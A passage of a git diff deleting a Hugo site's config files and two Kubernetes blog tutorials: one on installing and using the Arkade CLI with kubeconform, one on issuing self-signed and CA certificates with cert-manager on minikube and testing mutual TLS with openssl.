-enableGitInfo = true - -markup.highlight.noClasses = false - -[minify] - disableHTML = true \ No newline at end of file diff --git a/config/_default/languages.toml b/config/_default/languages.toml deleted file mode 100644 index d3913f5..0000000 --- a/config/_default/languages.toml +++ /dev/null @@ -1,4 +0,0 @@ -[en] -contentDir = 'content/en' -languageName = 'English' -weight = 1 diff --git a/config/_default/menu.toml b/config/_default/menu.toml deleted file mode 100644 index 0701528..0000000 --- a/config/_default/menu.toml +++ /dev/null @@ -1,42 +0,0 @@ -[[main]] -identifier = 'home' -name = 'Home' -pre = "" -url = '/' -weight = 1 - -[[main]] -identifier = 'docs' -name = 'Docker' -pre = "" -url = '/docker/' -weight = 2 - -[[main]] -identifier = 'containersecurity' -name = 'ContainerSecurity' -pre = "" -url = '/containersecurity/' -weight = 3 - -[[main]] -identifier = 'k8s' -name = 'Kubernetes' -pre = "" -url = '/k8s/' -weight = 3 - -[[main]] -identifier = 'blog' -name = 'blog' -pre = "" -url = '/blog/' -weight = 4 - -[[main]] -identifier = 'tools' -name = 'cloudnativetools' -pre = "" -url = 'https://kubedaily.com/cloudnativetools/' -weight = 5 - diff --git a/config/_default/params.toml b/config/_default/params.toml deleted file mode 100644 index db93b25..0000000 --- a/config/_default/params.toml +++ /dev/null @@ -1,30 +0,0 @@ -description = 'Demestifying Container and Orchestration Ecosystem' - -author = 'CloudNativeFolks' -authorURL = 'https://discord.gg/rEvr7vq' - -currentYear = 2023 -# projectStartYear = 2020 - - -twitterURL = 'https://twitter.com/i/communities/1499311438745468931' -githubURL = 'https://github.com/sangam14' -youtubeURL = 'https://www.youtube.com/@CloudNativeFolks' - -githubRepo = 'Kubernetesdaily/kubernetesdaily.github.io' - - -[algolia] -[algolia.en] -container = '#site-header-search' -appId = '' -indexName = '' -apiKey = '' - -#[[githubRepos]] -#name = 'Website' -#repo = 'Kubernetesdaily/kubernetesdaily.github.io' -#icon = "" -#description = 'The repository of the website.' - - diff --git a/content/.DS_Store b/content/.DS_Store deleted file mode 100644 index f24f0e9..0000000 Binary files a/content/.DS_Store and /dev/null differ diff --git a/content/en/.DS_Store b/content/en/.DS_Store deleted file mode 100644 index 12b0251..0000000 Binary files a/content/en/.DS_Store and /dev/null differ diff --git a/content/en/blog/Arkade.png b/content/en/blog/Arkade.png deleted file mode 100644 index 0ca9581..0000000 Binary files a/content/en/blog/Arkade.png and /dev/null differ diff --git a/content/en/blog/_index.md b/content/en/blog/_index.md deleted file mode 100644 index a69ea64..0000000 --- a/content/en/blog/_index.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -title: blog -url: "/blog" -aliases: -- "/blog" ---- diff --git a/content/en/blog/arkade.md b/content/en/blog/arkade.md deleted file mode 100644 index 84a4fde..0000000 --- a/content/en/blog/arkade.md +++ /dev/null @@ -1,587 +0,0 @@ ---- -title : Arkade Open Source Marketplace for Kubernetes -author : Sangam Biradar -categories : - - Kubernetes -weight : 10 -description : add magic to your CLI with Arkade and Increase Productivity -draft : false -Date : 2023-02-13 -author : Sangam Biradar -slug : arkade-open-source-marketplace-for-kubernetes ---- - -{{< rawhtml >}} - - -{{< /rawhtml >}} - -### Getting started with Arkade CLI - -- Macos/Linux - -```bash - -~ curl -sLS https://get.arkade.dev | sudo sh - -Password: -Downloading package https://github.com/alexellis/arkade/releases/download/0.9.7/arkade-darwin-arm64 as /tmp/arkade-darwin-arm64 -Download complete. - -Running with sufficient permissions to attempt to move arkade to /usr/local/bin -New version of arkade installed to /usr/local/bin -Creating alias 'ark' for 'arkade'. - _ _ - __ _ _ __| | ____ _ __| | ___ - / _` | '__| |/ / _` |/ _` |/ _ \ -| (_| | | | < (_| | (_| | __/ - \__,_|_| |_|\_\__,_|\__,_|\___| - -Open Source Marketplace For Developer Tools - -Version: 0.9.7 -Git Commit: 461fb7a9d05d7e3d13a39e03e1e38b6936cb15bd - - 🐳 arkade needs your support: https://github.com/sponsors/alexellis -➜ ~ - -``` - -### Get list of most needed tools & CLI for all Kubenetes Developer - -```bash -➜ ~ arkade get -+------------------+--------------------------------------------------------------+ -| TOOL | DESCRIPTION | -+------------------+--------------------------------------------------------------+ -| actions-usage | Get usage insights from GitHub Actions. | -+------------------+--------------------------------------------------------------+ -| actuated-cli | Official CLI for actuated.dev | -+------------------+--------------------------------------------------------------+ -| argocd | Declarative, GitOps continuous delivery tool for Kubernetes. | -+------------------+--------------------------------------------------------------+ -| argocd-autopilot | An opinionated way of installing Argo-CD and managing GitOps | -| | repositories. | -+------------------+--------------------------------------------------------------+ -| arkade | Portable marketplace for downloading your favourite devops | -| | CLIs and installing helm charts, with a single command. | -+------------------+--------------------------------------------------------------+ -| autok3s | Run Rancher Lab's lightweight Kubernetes distribution k3s | -| | everywhere. | -+------------------+--------------------------------------------------------------+ -| buildx | Docker CLI plugin for extended build capabilities with | -| | BuildKit. | -+------------------+--------------------------------------------------------------+ -| bun | Bun is an incredibly fast JavaScript runtime, bundler, | -| | transpiler and package manager – all in one. | -+------------------+--------------------------------------------------------------+ -| butane | Translates human readable Butane Configs into machine | -| | readable Ignition Configs | -+------------------+--------------------------------------------------------------+ -| caddy | Caddy is an extensible server platform that uses TLS by | -| | default | -+------------------+--------------------------------------------------------------+ -| cilium | CLI to install, manage & troubleshoot Kubernetes clusters | -| | running Cilium. | -+------------------+--------------------------------------------------------------+ -| civo | CLI for interacting with your Civo resources. | -+------------------+--------------------------------------------------------------+ -| clusterawsadm | Kubernetes Cluster API Provider AWS Management Utility | -+------------------+--------------------------------------------------------------+ -| clusterctl | The clusterctl CLI tool handles the lifecycle of a Cluster | -| | API management cluster | -+------------------+--------------------------------------------------------------+ -| cmctl | cmctl is a CLI tool that helps you manage cert-manager and | -| | its resources inside your cluster. | -+------------------+--------------------------------------------------------------+ -| conftest | Write tests against structured configuration data using the | -| | Open Policy Agent Rego query language | -+------------------+--------------------------------------------------------------+ -| cosign | Container Signing, Verification and Storage in an OCI | -| | registry. | -+------------------+--------------------------------------------------------------+ -| cr | Hosting Helm Charts via GitHub Pages and Releases | -+------------------+--------------------------------------------------------------+ -| crane | crane is a tool for interacting with remote images and | -| | registries | -+------------------+--------------------------------------------------------------+ -| croc | Easily and securely send things from one computer to another | -+------------------+--------------------------------------------------------------+ -| dagger | A portable devkit for CI/CD pipelines. | -+------------------+--------------------------------------------------------------+ -| devspace | Automate your deployment workflow with DevSpace and develop | -| | software directly inside Kubernetes. | -+------------------+--------------------------------------------------------------+ -| dive | A tool for exploring each layer in a docker image | -+------------------+--------------------------------------------------------------+ -| docker-compose | Define and run multi-container applications with Docker. | -+------------------+--------------------------------------------------------------+ -| doctl | Official command line interface for the DigitalOcean API. | -+------------------+--------------------------------------------------------------+ -| eksctl | Amazon EKS Kubernetes cluster management | -+------------------+--------------------------------------------------------------+ -| eksctl-anywhere | Run Amazon EKS on your own infrastructure | -+------------------+--------------------------------------------------------------+ -| faas-cli | Official CLI for OpenFaaS. | -+------------------+--------------------------------------------------------------+ -| firectl | Command-line tool that lets you run arbitrary Firecracker | -| | MicroVMs | -+------------------+--------------------------------------------------------------+ -| flux | Continuous Delivery solution for Kubernetes powered by | -| | GitOps Toolkit. | -+------------------+--------------------------------------------------------------+ -| flyctl | Command line tools for fly.io services | -+------------------+--------------------------------------------------------------+ -| fstail | Tail modified files in a directory. | -+------------------+--------------------------------------------------------------+ -| fzf | General-purpose command-line fuzzy finder | -+------------------+--------------------------------------------------------------+ -| gh | GitHub’s official command line tool. | -+------------------+--------------------------------------------------------------+ -| golangci-lint | Go linters aggregator. | -+------------------+--------------------------------------------------------------+ -| gomplate | A flexible commandline tool for template rendering. Supports | -| | lots of local and remote datasources. | -+------------------+--------------------------------------------------------------+ -| goreleaser | Deliver Go binaries as fast and easily as possible | -+------------------+--------------------------------------------------------------+ -| grafana-agent | Grafana Agent is a telemetry collector for sending | -| | metrics, logs, and trace data to the opinionated Grafana | -| | observability stack. | -+------------------+--------------------------------------------------------------+ -| grype | A vulnerability scanner for container images and filesystems | -+------------------+--------------------------------------------------------------+ -| hadolint | A smarter Dockerfile linter that helps you build best | -| | practice Docker images | -+------------------+--------------------------------------------------------------+ -| helm | The Kubernetes Package Manager: Think of it like | -| | apt/yum/homebrew for Kubernetes. | -+------------------+--------------------------------------------------------------+ -| helmfile | Deploy Kubernetes Helm Charts | -+------------------+--------------------------------------------------------------+ -| hey | Load testing tool | -+------------------+--------------------------------------------------------------+ -| hostctl | Dev tool to manage /etc/hosts like a pro! | -+------------------+--------------------------------------------------------------+ -| hubble | CLI for network, service & security observability for | -| | Kubernetes clusters running Cilium. | -+------------------+--------------------------------------------------------------+ -| hugo | Static HTML and CSS website generator. | -+------------------+--------------------------------------------------------------+ -| influx | InfluxDB’s command line interface (influx) is an interactive | -| | shell for the HTTP API. | -+------------------+--------------------------------------------------------------+ -| inlets-pro | Cloud Native Tunnel for HTTP and TCP traffic. | -+------------------+--------------------------------------------------------------+ -| inletsctl | Automates the task of creating an exit-server (tunnel | -| | server) on public cloud infrastructure. | -+------------------+--------------------------------------------------------------+ -| istioctl | Service Mesh to establish a programmable, application-aware | -| | network using the Envoy service proxy. | -+------------------+--------------------------------------------------------------+ -| jq | jq is a lightweight and flexible command-line JSON processor | -+------------------+--------------------------------------------------------------+ -| just | Just a command runner | -+------------------+--------------------------------------------------------------+ -| k0s | Zero Friction Kubernetes | -+------------------+--------------------------------------------------------------+ -| k0sctl | A bootstrapping and management tool for k0s clusters | -+------------------+--------------------------------------------------------------+ -| k10multicluster | Multi-cluster support for K10. | -+------------------+--------------------------------------------------------------+ -| k10tools | Tools for evaluating and debugging K10. | -+------------------+--------------------------------------------------------------+ -| k3d | Helper to run Rancher Lab's k3s in Docker. | -+------------------+--------------------------------------------------------------+ -| k3s | Lightweight Kubernetes | -+------------------+--------------------------------------------------------------+ -| k3sup | Bootstrap Kubernetes with k3s over SSH < 1 min. | -+------------------+--------------------------------------------------------------+ -| k9s | Provides a terminal UI to interact with your Kubernetes | -| | clusters. | -+------------------+--------------------------------------------------------------+ -| kail | Kubernetes log viewer. | -+------------------+--------------------------------------------------------------+ -| kanctl | Framework for application-level data management on | -| | Kubernetes. | -+------------------+--------------------------------------------------------------+ -| kgctl | A CLI to manage Kilo, a multi-cloud network overlay built on | -| | WireGuard and designed for Kubernetes. | -+------------------+--------------------------------------------------------------+ -| kim | Build container images inside of Kubernetes. (Experimental) | -+------------------+--------------------------------------------------------------+ -| kind | Run local Kubernetes clusters using Docker container nodes. | -+------------------+--------------------------------------------------------------+ -| kops | Production Grade K8s Installation, Upgrades, and Management. | -+------------------+--------------------------------------------------------------+ -| krew | Package manager for kubectl plugins. | -+------------------+--------------------------------------------------------------+ -| kube-bench | Checks whether Kubernetes is deployed securely by running | -| | the checks documented in the CIS Kubernetes Benchmark. | -+------------------+--------------------------------------------------------------+ -| kubebuilder | Framework for building Kubernetes APIs using custom resource | -| | definitions (CRDs). | -+------------------+--------------------------------------------------------------+ -| kubecm | Easier management of kubeconfig. | -+------------------+--------------------------------------------------------------+ -| kubeconform | A FAST Kubernetes manifests validator, with support for | -| | Custom Resources | -+------------------+--------------------------------------------------------------+ -| kubectl | Run commands against Kubernetes clusters | -+------------------+--------------------------------------------------------------+ -| kubectx | Faster way to switch between clusters. | -+------------------+--------------------------------------------------------------+ -| kubens | Switch between Kubernetes namespaces smoothly. | -+------------------+--------------------------------------------------------------+ -| kubescape | kubescape is the first tool for testing if Kubernetes | -| | is deployed securely as defined in Kubernetes Hardening | -| | Guidance by to NSA and CISA | -+------------------+--------------------------------------------------------------+ -| kubeseal | A Kubernetes controller and tool for one-way encrypted | -| | Secrets | -+------------------+--------------------------------------------------------------+ -| kubestr | Kubestr discovers, validates and evaluates your Kubernetes | -| | storage options. | -+------------------+--------------------------------------------------------------+ -| kubetail | Bash script to tail Kubernetes logs from multiple pods at | -| | the same time. | -+------------------+--------------------------------------------------------------+ -| kubeval | Validate your Kubernetes configuration files, supports | -| | multiple Kubernetes versions | -+------------------+--------------------------------------------------------------+ -| kumactl | kumactl is a CLI to interact with Kuma and its data | -+------------------+--------------------------------------------------------------+ -| kustomize | Customization of kubernetes YAML configurations | -+------------------+--------------------------------------------------------------+ -| lazygit | A simple terminal UI for git commands. | -+------------------+--------------------------------------------------------------+ -| linkerd2 | Ultralight, security-first service mesh for Kubernetes. | -+------------------+--------------------------------------------------------------+ -| mc | MinIO Client is a replacement for ls, cp, mkdir, diff and | -| | rsync commands for filesystems and object storage. | -+------------------+--------------------------------------------------------------+ -| metal | Official Equinix Metal CLI | -+------------------+--------------------------------------------------------------+ -| minikube | Runs the latest stable release of Kubernetes, with support | -| | for standard Kubernetes features. | -+------------------+--------------------------------------------------------------+ -| mixctl | A tiny TCP load-balancer. | -+------------------+--------------------------------------------------------------+ -| mkcert | A simple zero-config tool to make locally trusted | -| | development certificates with any names you'd like. | -+------------------+--------------------------------------------------------------+ -| nats | Utility to interact with and manage NATS. | -+------------------+--------------------------------------------------------------+ -| nats-server | Cloud native message bus and queue server | -+------------------+--------------------------------------------------------------+ -| nerdctl | Docker-compatible CLI for containerd, with support for | -| | Compose | -+------------------+--------------------------------------------------------------+ -| nova | Find outdated or deprecated Helm charts running in your | -| | cluster. | -+------------------+--------------------------------------------------------------+ -| oh-my-posh | A prompt theme engine for any shell that can display | -| | kubernetes information. | -+------------------+--------------------------------------------------------------+ -| opa | General-purpose policy engine that enables unified, | -| | context-aware policy enforcement across the entire stack. | -+------------------+--------------------------------------------------------------+ -| operator-sdk | Operator SDK is a tool for scaffolding and generating code | -| | for building Kubernetes operators | -+------------------+--------------------------------------------------------------+ -| osm | Open Service Mesh uniformly manages, secures, and gets | -| | out-of-the-box observability features. | -+------------------+--------------------------------------------------------------+ -| pack | Build apps using Cloud Native Buildpacks. | -+------------------+--------------------------------------------------------------+ -| packer | Build identical machine images for multiple platforms from a | -| | single source configuration. | -+------------------+--------------------------------------------------------------+ -| polaris | Run checks to ensure Kubernetes pods and controllers are | -| | configured using best practices. | -+------------------+--------------------------------------------------------------+ -| popeye | Scans live Kubernetes cluster and reports potential issues | -| | with deployed resources and configurations. | -+------------------+--------------------------------------------------------------+ -| porter | With Porter you can package your application artifact, | -| | tools, etc. as a bundle that can distribute and install. | -+------------------+--------------------------------------------------------------+ -| promtool | Prometheus rule tester and debugging utility | -+------------------+--------------------------------------------------------------+ -| rekor-cli | Secure Supply Chain - Transparency Log | -+------------------+--------------------------------------------------------------+ -| rpk | Kafka compatible streaming platform for mission critical | -| | workloads. | -+------------------+--------------------------------------------------------------+ -| run-job | Run a Kubernetes Job and get the logs when it's done. | -+------------------+--------------------------------------------------------------+ -| scaleway-cli | Scaleway CLI is a tool to help you pilot your Scaleway | -| | infrastructure directly from your terminal. | -+------------------+--------------------------------------------------------------+ -| sops | Simple and flexible tool for managing secrets | -+------------------+--------------------------------------------------------------+ -| stern | Multi pod and container log tailing for Kubernetes. | -+------------------+--------------------------------------------------------------+ -| syft | CLI tool and library for generating a Software Bill of | -| | Materials from container images and filesystems | -+------------------+--------------------------------------------------------------+ -| talosctl | The command-line tool for managing Talos Linux OS. | -+------------------+--------------------------------------------------------------+ -| tctl | Temporal CLI. | -+------------------+--------------------------------------------------------------+ -| terraform | Infrastructure as Code for major cloud providers. | -+------------------+--------------------------------------------------------------+ -| terragrunt | Terragrunt is a thin wrapper for Terraform that provides | -| | extra tools for working with multiple Terraform modules | -+------------------+--------------------------------------------------------------+ -| terrascan | Detect compliance and security violations across | -| | Infrastructure as Code. | -+------------------+--------------------------------------------------------------+ -| tfsec | Security scanner for your Terraform code | -+------------------+--------------------------------------------------------------+ -| tilt | A multi-service dev environment for teams on Kubernetes. | -+------------------+--------------------------------------------------------------+ -| tkn | A CLI for interacting with Tekton. | -+------------------+--------------------------------------------------------------+ -| trivy | Vulnerability Scanner for Containers and other Artifacts, | -| | Suitable for CI. | -+------------------+--------------------------------------------------------------+ -| vagrant | Tool for building and distributing development environments. | -+------------------+--------------------------------------------------------------+ -| vault | A tool for secrets management, encryption as a service, and | -| | privileged access management. | -+------------------+--------------------------------------------------------------+ -| vcluster | Create fully functional virtual Kubernetes clusters - Each | -| | vcluster runs inside a namespace of the underlying k8s | -| | cluster. | -+------------------+--------------------------------------------------------------+ -| viddy | A modern watch command. Time machine and pager etc. | -+------------------+--------------------------------------------------------------+ -| waypoint | Easy application deployment for Kubernetes and Amazon ECS | -+------------------+--------------------------------------------------------------+ -| yq | Portable command-line YAML processor. | -+------------------+--------------------------------------------------------------+ -There are 124 tools, use `arkade get NAME` to download one. -``` - -### Install any above tool with simple syntax - -```bash -arkade get < NAME OF TOOL > -``` - -### lets install one of tool - -kubeconform - A FAST Kubernetes manifests validator, with support for Custom Resources - -```bash -arkade get kubeconform - -``` - -output - - -```bash -Downloading: kubeconform -2023/04/02 10:12:06 Looking up version for kubeconform -2023/04/02 10:12:08 Found: v0.6.1 -Downloading: https://github.com/yannh/kubeconform/releases/download/v0.6.1/kubeconform-darwin-arm64.tar.gz -5.17 MiB / 5.17 MiB [--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------] 100.00% -/var/folders/xy/3ssjv1j152x3_0ryt4yb982c0000gn/T/kubeconform-darwin-arm64.tar.gz written. -2023/04/02 10:12:11 Looking up version for kubeconform -2023/04/02 10:12:11 Found: v0.6.1 -2023/04/02 10:12:11 Extracted: /var/folders/xy/3ssjv1j152x3_0ryt4yb982c0000gn/T/kubeconform -2023/04/02 10:12:11 Copying /var/folders/xy/3ssjv1j152x3_0ryt4yb982c0000gn/T/kubeconform to /Users/sangambiradar/.arkade/bin/kubeconform - -Wrote: /Users/sangambiradar/.arkade/bin/kubeconform (9.824MB) - -# Add arkade binary directory to your PATH variable -export PATH=$PATH:$HOME/.arkade/bin/ - -# Test the binary: -/Users/sangambiradar/.arkade/bin/kubeconform - -# Or install with: -sudo mv /Users/sangambiradar/.arkade/bin/kubeconform /usr/local/bin/ - -🐳 arkade needs your support: https://github.com/sponsors/alexellis -➜ ~ export PATH=$PATH:$HOME/.arkade/bin/ -➜ ~ /Users/sangambiradar/.arkade/bin/kubeconform -2023/04/02 10:12:35 failing to read data from stdin -➜ ~ sudo mv /Users/sangambiradar/.arkade/bin/kubeconform /usr/local/bin/ -Password: -➜ ~ kubeconform -2023/04/02 10:13:00 failing to read data from stdin -➜ ~ kubeconform -h -Usage: kubeconform [OPTION]... [FILE OR FOLDER]... - -cache string - cache schemas downloaded via HTTP to this folder - -debug - print debug information - -exit-on-error - immediately stop execution when the first error is encountered - -h show help information - -ignore-filename-pattern value - regular expression specifying paths to ignore (can be specified multiple times) - -ignore-missing-schemas - skip files with missing schemas instead of failing - -insecure-skip-tls-verify - disable verification of the server's SSL certificate. This will make your HTTPS connections insecure - -kubernetes-version string - version of Kubernetes to validate against, e.g.: 1.18.0 (default "master") - -n int - number of goroutines to run concurrently (default 4) - -output string - output format - json, junit, tap, text (default "text") - -reject string - comma-separated list of kinds or GVKs to reject - -schema-location value - override schemas location search path (can be specified multiple times) - -skip string - comma-separated list of kinds or GVKs to ignore - -strict - disallow additional properties not in schema or duplicated keys - -summary - print a summary at the end (ignored for junit output) - -v show version information - -verbose - print results for all resources (ignored for tap and junit output) - -``` - -### lets create ngnix deployement and validate kubernetes manifest - -```yaml -apiVersion: v1 -kind: ReplicationController -metadata: - name: "bob" -spec: - replicas: asd" - selector: - app: nginx - templates: - metadata: - name: nginx - labels: - app: nginx - spec: - containers: - - name: nginx - image: nginx - ports: - - containerPort: 80 -``` - -### check it out if above kubenetes menifest Valid or not with Summary in Json format - -```bash -kubeconform -summary -output json ngnix.yaml -{ - "resources": [ - { - "filename": "ngnix.yaml", - "kind": "ReplicationController", - "name": "bob", - "version": "v1", - "status": "statusInvalid", - "msg": "problem validating schema. Check JSON formatting: jsonschema: '/spec/replicas' does not validate with https://raw.githubusercontent.com/yannh/kubernetes-json-schema/master/master-standalone/replicationcontroller-v1.json#/properties/spec/properties/replicas/type: expected integer or null, but got string", - "validationErrors": [ - { - "path": "/spec/replicas", - "msg": "expected integer or null, but got string" - } - ] - } - ], - "summary": { - "valid": 0, - "invalid": 1, - "errors": 0, - "skipped": 0 - } -} -``` -### add and contribute your favourite cloudNative Tool To arkade - -here is example one of tool - https://github.com/tenable/terrascan - - -- append your tool with dyanamic templating you will find lot of examples here to learn :- https://github.com/alexellis/arkade/blob/master/pkg/get/tools.go - -```bash -tools = append(tools, Tool{ -Owner: "tenable", -Repo: "terrascan", -Name: "terrascan", -Description: "Detect compliance and security violations across Infrastructure as Code.", BinaryTemplate: ` -{{$osStr := ""}} -{{ if HasPrefix .OS "ming" -}} -{{$osStr = "Windows"}} -{{- else if eq .OS "linux" -}} -{{$osStr = "Linux"}} -{{- else if eq .OS "darwin" -}} -{{$osStr = "Darwin"}} -{{- end -}} -{{$archStr := .Arch}} -{{- if eq .Arch "aarch64" -}} -{{$archStr = "arm64"}} -{{- else if eq .Arch "x86_64" -}} -{{$archStr = "x86_64"}} -{{- end -}} -{{.Name}}_{{slice .Version 1}}_{{$osStr}}_{{$archStr}}.tar.gz`, -}) -return tools } - -``` - -### write test cases for above tool - -```bash -func Test_DownloadTerrascan(t *testing.T) { tools := MakeTools() -name := "terrascan" -tool := getTool(name, tools) -tests := []test{ -{ -os: "darwin", -arch: arch64bit, -version: "v1.11.0", -url: `https://github.com/tenable/terrascan/releases/download/v1.11.0/terrascan_1.11.0_Darwin_x86_64.tar.gz`, -}, -{ -os: "darwin", -arch: archARM64, -version: "v1.11.0", -url: `https://github.com/tenable/terrascan/releases/download/v1.11.0/terrascan_1.11.0_Darwin_arm64.tar.gz`, -}, -{ -os: "linux", -arch: arch64bit, -version: "v1.11.0", -url: `https://github.com/tenable/terrascan/releases/download/v1.11.0/terrascan_1.11.0_Linux_x86_64.tar.gz`, -}, -{ -os: "linux", -arch: archARM64, -version: "v1.11.0", -url: `https://github.com/tenable/terrascan/releases/download/v1.11.0/terrascan_1.11.0_Linux_arm64.tar.gz`, -}, -{ -os: "ming", -arch: arch64bit, -version: "v1.11.0", -url: `https://github.com/tenable/terrascan/releases/download/v1.11.0/terrascan_1.11.0_Windows_x86_64.tar.gz`, -}, } -for _, tc := range tests { -t.Run(tc.os+" "+tc.arch+" "+tc.version, func(r *testing.T) { -got, err := tool.GetURL(tc.os, tc.arch, tc.version, false) if err != nil { -t.Fatal(err) } -if got != tc.url { -t.Errorf("want: %s, got: %s", tc.url, got) } -}) } -} - -``` - -Join [CloudNativeFolks Community](https://discord.gg/rEvr7vq) or Reach out to me on twitter [@sangamtwts](https://twitter.com/sangamtwts) \ No newline at end of file diff --git a/content/en/blog/certmanager/certmanager.png b/content/en/blog/certmanager/certmanager.png deleted file mode 100644 index 1618bfe..0000000 Binary files a/content/en/blog/certmanager/certmanager.png and /dev/null differ diff --git a/content/en/blog/certmanager/index.md b/content/en/blog/certmanager/index.md deleted file mode 100644 index 3575f4f..0000000 --- a/content/en/blog/certmanager/index.md +++ /dev/null @@ -1,385 +0,0 @@ ---- -title : CertManager - Automatically provision and manage TLS certificates in Kubernetes -author : Sangam Biradar -categories : - - Kubernetes -weight : 20 -description : cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. -draft : false -Date : 2023-02-14 -author : Sangam Biradar ---- - - - - - -{{< rawhtml >}} - -
-{{< /rawhtml >}} - -### Start Minikube -``` -minikube-certmanager git:(main) minikube start -😄 minikube v1.30.0 on Darwin 13.3.1 (arm64) -✨ Using the docker driver based on existing profile -👍 Starting control plane node minikube in cluster minikube -🚜 Pulling base image ... -🏃 Updating the running docker "minikube" container ... -❗ Image was not built for the current minikube version. To resolve this you can delete and recreate your minikube cluster using the latest images. Expected minikube version: v1.29.0 -> Actual minikube version: v1.30.0 -🐳 Preparing Kubernetes v1.26.3 on Docker 23.0.2 ... -🔎 Verifying Kubernetes components... - ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5 -🌟 Enabled addons: storage-provisioner, default-storageclass -🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default -``` - -### add jetstack helm -``` -➜ minikube-certmanager git:(main) helm repo add jetstack https://charts.jetstack.io -"jetstack" has been added to your repositories -``` - -### update helm charts -``` -➜ minikube-certmanager git:(main) helm repo update -Hang tight while we grab the latest from your chart repositories... -...Successfully got an update from the "jetstack" chart repository -Update Complete. ⎈Happy Helming!⎈ -``` - -### Install cert-manger CRD on test namespace -``` -➜ minikube-certmanager git:(main) helm install \ - cert-manager jetstack/cert-manager \ - --namespace test \ - --create-namespace \ - --version v1.11.1 \ - --set installCRDs=true -NAME: cert-manager -LAST DEPLOYED: Fri Apr 14 12:35:31 2023 -NAMESPACE: test -STATUS: deployed -REVISION: 1 -TEST SUITE: None -NOTES: -cert-manager v1.11.1 has been deployed successfully! - -In order to begin issuing certificates, you will need to set up a ClusterIssuer -or Issuer resource (for example, by creating a 'letsencrypt-staging' issuer). - -More information on the different types of issuers and how to configure them -can be found in our documentation: - -https://cert-manager.io/docs/configuration/ - -For information on how to configure cert-manager to automatically provision -Certificates for Ingress resources, take a look at the `ingress-shim` -documentation: - -https://cert-manager.io/docs/usage/ingress/ - -``` - -### verify test namespace is active - -``` -➜ minikube-certmanager git:(main) kubectl get ns -NAME STATUS AGE -default Active 16h -kube-node-lease Active 16h -kube-public Active 16h -kube-system Active 16h -test Active 4m31s -``` - -### create self-signered certificate issuer - -creating a self-signed certificate that our CA will use. To do so we will first need to create a self-signed certificate issuer. - - -```yml -apiVersion: cert-manager.io/v1 -kind: Issuer -metadata: - name: selfsigned-issuer - namespace: test -spec: - selfSigned: {} -``` -### kubectl apply cert manager ss issuer - -``` -minikube-certmanager git:(main) ✗ kubectl create -f cert-manager-ss-issuer.yaml -issuer.cert-manager.io/selfsigned-issuer created -``` -### creat CA certificate - - -``` -apiVersion: cert-manager.io/v1 -kind: Certificate -metadata: - name: test-ca - namespace: test -spec: - isCA: true - commonName: test-ca - subject: - organizations: - - ACME Inc. - organizationalUnits: - - Widgets - secretName: test-ca-secret - privateKey: - algorithm: ECDSA - size: 256 - issuerRef: - name: selfsigned-issuer - kind: Issuer - group: cert-manager.io - -``` - -### kubectl apply cert-manager-ca-cert -``` -➜ minikube-certmanager git:(main) ✗ kubectl create -f cert-manager-ca-cert.yaml -certificate.cert-manager.io/test-ca created -``` -### checkt it out certificate -``` -➜ minikube-certmanager git:(main) ✗ kubectl -n test get certificate -NAME READY SECRET AGE -test-ca True test-ca-secret 4m15s -``` -### check it out secrets -``` -➜ minikube-certmanager git:(main) ✗ kubectl -n test get secret test-ca-secret -NAME TYPE DATA AGE -test-ca-secret kubernetes.io/tls 3 5m1s -``` -Excellent! This secret contains the ca.crt, tls.crt, and tls.key that belong to the CA itself. - -### create ca issuer - -Now it’s time to create our CA issuer. Create a file called cert-manager-ca-issuer.yaml with the following: - -``` -apiVersion: cert-manager.io/v1 -kind: Issuer -metadata: - name: test-ca-issuer - namespace: test -spec: - ca: - secretName: test-ca-secret -``` - -### apply ca issuer -``` -➜ minikube-certmanager git:(main) ✗ kubectl create -f cer -t-manager-ca-issuer.yaml -issuer.cert-manager.io/test-ca-issuer created -``` -### test ca cert - -``` -apiVersion: cert-manager.io/v1 -kind: Certificate -metadata: - name: test-server - namespace: test -spec: - secretName: test-server-tls - isCA: false - usages: - - server auth - - client auth - dnsNames: - - "test-server.test.svc.cluster.local" - - "test-server" - issuerRef: - name: test-ca-issuer ---- -apiVersion: cert-manager.io/v1 -kind: Certificate -metadata: - name: test-client - namespace: test -spec: - secretName: test-client-tls - isCA: false - usages: - - server auth - - client auth - dnsNames: - - "test-client.test.svc.cluster.local" - - "test-client" - issuerRef: - name: test-ca-issuer - -``` -### test server cert -``` -➜ minikube-certmanager git:(main) ✗ kubectl create -f test-server-cert.yaml -certificate.cert-manager.io/test-server created -certificate.cert-manager.io/test-client created -``` -### verify CA with Openssl -``` -➜ minikube-certmanager git:(main) ✗ openssl verify -CAfile \ -<(kubectl -n test get secret test-ca-secret -o jsonpath='{.data.ca\.crt}' | base64 -d) \ -<(kubectl -n test get secret test-server-tls -o jsonpath='{.data.tls\.crt}' | base64 -d) -/dev/fd/16: OK -/dev/fd/13: OK - -``` -### start openssl server get secrets tls - -``` - -minikube-certmanager git:(main) ✗ echo Hello World! > test.txt -minikube-certmanager git:(main) ✗ openssl s_server \ - -cert <(kubectl -n test get secret test-server-tls -o jsonpath='{.data.tls\.crt}' | base64 -d) \ - -key <(kubectl -n test get secret test-server-tls -o jsonpath='{.data.tls\.key}' | base64 -d) \ - -CAfile <(kubectl -n test get secret test-server-tls -o jsonpath='{.data.ca\.crt}' | base64 -d) \ - -WWW -port 12345 \ - -verify_return_error -Verify 1 -verify depth is 1, must return a certificate -Using auto DH parameters -ACCEPT -``` -### verify certificate working - -``` - ➜ minikube-certmanager git:(main) ✗ echo -e 'GET /test.txt HTTP/1.1\r\n\r\n' | \ - openssl s_client \ - -cert <(kubectl -n test get secret test-client-tls -o jsonpath='{.data.tls\.crt}' | base64 -d) \ - -key <(kubectl -n test get secret test-client-tls -o jsonpath='{.data.tls\.key}' | base64 -d) \ - -CAfile <(kubectl -n test get secret test-client-tls -o jsonpath='{.data.ca\.crt}' | base64 -d) \ - -connect localhost:12345 -quiet -depth=1 O = ACME Inc., OU = Widgets, CN = test-ca -verify return:1 -depth=0 -verify return:1 -HTTP/1.0 200 ok -Content-type: text/plain - -Hello World! -``` -### enable ingress on minikube -``` -➜ minikube-certmanager git:(main) ✗ minikube addons enable ingress -💡 ingress is an addon maintained by Kubernetes. For any concerns contact minikube on GitHub. -You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS 